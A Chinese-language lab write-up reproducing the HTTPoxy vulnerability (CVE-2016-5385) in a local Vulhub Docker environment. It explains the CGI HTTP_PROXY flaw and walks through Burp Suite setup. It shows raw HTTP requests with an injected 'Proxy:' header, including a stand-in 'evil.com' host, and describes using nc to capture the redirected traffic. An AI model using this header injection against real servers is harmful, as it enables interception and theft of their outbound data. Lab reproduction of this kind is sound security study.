利用Vulnhub复现漏洞 - HTTPoxy漏洞(CVE-2016-5385)

HTTPoxy漏洞(CVE-2016-5385)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
    • 漏洞复现
      • 端口设置
        • 浏览器设置
        • BurpSuit设置
        • 发出请求

Vulnhub官方复现教程

https://vulhub.org/#/environments/cgi/httpoxy/

漏洞原理

参考:http://www.laruence.com/2016/07/19/3101.html

简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/cgi/httpoxy

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:30分钟

漏洞复现

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为8080
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为8080
在这里插入图片描述
并将ProxyIntercept点击成Intercept is on

发出请求

正常请求http://your-ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:
利用Vulnhub复现漏洞 - HTTPoxy漏洞(CVE-2016-5385)_第1张图片

GET /index.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

找到一个可以正常运行的http代理,比如http://www.89ip.cn/,选取可用的IP+端口。
附带Proxy: http://x.x.x.x:yyyy/头,再次访问http://your-ip/index.php

GET /index.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Proxy: http://x.x.x.x:yyyy/
Upgrade-Insecure-Requests: 1

利用Vulnhub复现漏洞 - HTTPoxy漏洞(CVE-2016-5385)_第2张图片
如上图,可见此时的Origin已经变成x.x.122.65,也就是说真正进行HTTP访问的服务器是x.x.122.65,也就是说x.x.x.x:yyy已经将正常的HTTP请求代理了。

x.x.x.x:yyy上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:
利用Vulnhub复现漏洞 - HTTPoxy漏洞(CVE-2016-5385)_第3张图片

你可能感兴趣的:(渗透)